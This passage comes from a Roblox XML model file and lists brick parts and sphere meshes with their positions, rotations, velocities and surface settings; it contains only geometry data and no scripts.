							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>14.3747616</X>
								<Y>-5.4566493</Y>
								<Z>-14.6994991</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1978">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1979">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-20.371954</X>
								<Y>14.2060757</Y>
								<Z>12.2408037</Z>
								<R00>-0.67723304</R00>
								<R01>-0.551191211</R01>
								<R02>0.487384409</R02>
								<R10>0.629030645</R10>
								<R11>-0.777363896</R11>
								<R12>-0.00507986406</R12>
								<R20>0.381675035</R20>
								<R21>0.303139538</R21>
								<R22>0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>11.7983141</X>
								<Y>-5.50130796</Y>
								<Z>-13.2616444</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1980">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1981">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-19.8207626</X>
								<Y>14.9834394</Y>
								<Z>11.937664</Z>
								<R00>-0.67723304</R00>
								<R01>0.551191211</R01>
								<R02>-0.487384409</R02>
								<R10>0.629030645</R10>
								<R11>0.777363896</R11>
								<R12>0.00507986406</R12>
								<R20>0.381675035</R20>
								<R21>-0.303139538</R21>
								<R22>-0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>13.1120081</X>
								<Y>-7.56780863</Y>
								<Z>-16.1722698</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1982">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1983">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-20.5632076</X>
							<Y>11.8612127</Y>
							<Z>15.7696877</Z>
							<R00>-0.00185666105</R00>
							<R01>-0.487392157</R01>
							<R02>0.873181283</R02>
							<R10>-0.999987245</R10>
							<R11>0.00500578573</R11>
							<R12>0.000667837507</R12>
							<R20>-0.00469645718</R20>
							<R21>-0.873168945</R21>
							<R22>-0.487395227</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.026304815</X>
							<Y>2.98744512</Y>
							<Z>-0.00248663989</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>15.741992</X>
							<Y>0.568454683</Y>
							<Z>-8.94657135</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>9</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1984">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-21.5381432</X>
							<Y>11.8689041</Y>
							<Z>14.0233946</Z>
							<R00>-0.487384409</R00>
							<R01>0.551191211</R01>
							<R02>0.67723304</R02>
							<R10>0.00507986406</R10>
							<R11>0.777363896</R11>
							<R12>-0.629030645</R12>
							<R20>-0.8731727</R20>
							<R21>-0.303139538</R21>
							<R22>-0.381675035</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.64029789</X>
							<Y>2.96724033</Y>
							<Z>-2.84703588</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>10.4336786</X>
							<Y>0.742853463</Y>
							<Z>-5.96762276</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>5</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX1985">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX1986</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1986">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-21.2830219</X>
								<Y>11.5497847</Y>
								<Z>10.371479</Z>
								<R00>0.113247238</R00>
								<R01>0.551157296</R01>
								<R02>-0.826680541</R02>
								<R10>0.290188104</R10>
								<R11>0.777406693</R11>
								<R12>0.558058858</R12>
								<R20>0.950245202</R20>
								<R21>-0.303091496</R21>
								<R22>-0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-2.10353136</X>
								<Y>-7.96506882</Y>
								<Z>-12.774107</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1987">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1988">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-22.1097031</X>
								<Y>12.1078434</Y>
								<Z>10.2995787</Z>
								<R00>0.113247238</R00>
								<R01>-0.551157296</R01>
								<R02>0.826680541</R02>
								<R10>0.290188104</R10>
								<R11>-0.777406693</R11>
								<R12>-0.558058858</R12>
								<R20>0.950245202</R20>
								<R21>0.303091496</R21>
								<R22>0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-0.331234246</X>
								<Y>-4.71508789</Y>
								<Z>-7.92634535</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1989">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1990">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-21.5585461</X>
								<Y>12.8852501</Y>
								<Z>9.99648762</Z>
								<R00>0.113247238</R00>
								<R01>0.551157296</R01>
								<R02>-0.826680541</R02>
								<R10>0.290188104</R10>
								<R11>0.777406693</R11>
								<R12>0.558058858</R12>
								<R20>0.950245202</R20>
								<R21>-0.303091496</R21>
								<R22>-0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.988636672</X>
								<Y>-6.77690411</Y>
								<Z>-10.8146315</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1991">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1992">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-21.2829151</X>
							<Y>14.9986792</Y>
							<Z>9.31814575</Z>
							<R00>-0.487384409</R00>
							<R01>0.551191211</R01>
							<R02>0.67723304</R02>
							<R10>0.00507986406</R10>
							<R11>0.777363896</R11>
							<R12>-0.629030645</R12>
							<R20>-0.8731727</R20>
							<R21>-0.303139538</R21>
							<R22>-0.381675035</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.64029789</X>
							<Y>2.96724033</Y>
							<Z>-2.84703588</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>5.3826561</X>
							<Y>-7.70179844</Y>
							<Z>-11.8587093</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1993">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-21.8341064</X>
							<Y>14.2213154</Y>
							<Z>9.62128544</Z>
							<R00>-0.67723304</R00>
							<R01>-0.551191211</R01>
							<R02>0.487384409</R02>
							<R10>0.629030645</R10>
							<R11>-0.777363896</R11>
							<R12>-0.00507986406</R12>
							<R20>0.381675035</R20>
							<R21>0.303139538</R21>
							<R22>0.8731727</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.64029789</X>
							<Y>2.96724033</Y>
							<Z>-2.84703588</Z>
						</Vector3>
						<float name="TopParamA">0</float>
						<float name="TopParamB">0</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>4.06896162</X>
							<Y>-5.63529778</Y>
							<Z>-8.94808388</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1994">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-21.8341789</X>
							<Y>10.772378</Y>
							<Z>10.6745701</Z>
							<R00>-0.826680541</R00>
							<R01>0.551157296</R01>
							<R02>-0.113247238</R02>
							<R10>0.558058858</R10>
							<R11>0.777406693</R11>
							<R12>-0.290188104</R12>
							<R20>-0.0719001293</R20>
							<R21>-0.303091496</R21>
							<R22>-0.950245202</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.299065888</X>
							<Y>5.66223764</Y>
							<Z>-3.90534902</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-3.42340231</X>
							<Y>-5.9032526</Y>
							<Z>-9.88582134</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1966">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-23.4764214</X>
							<Y>17.8911724</Y>
							<Z>10.5588522</Z>
							<R00>0.487392157</R00>
							<R01>-0.00185666105</R01>
							<R02>0.873181283</R02>
							<R10>-0.00500578573</R10>
							<R11>-0.999987245</R11>
							<R12>0.000667837507</R12>
							<R20>0.873168945</R20>
							<R21>-0.00469645718</R21>
							<R22>-0.487395227</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.026304815</X>
							<Y>2.98744512</Y>
							<Z>-0.00248663989</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.18990086</X>
							<Y>0.438628733</Y>
							<Z>-0.402121723</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>9</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1995">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
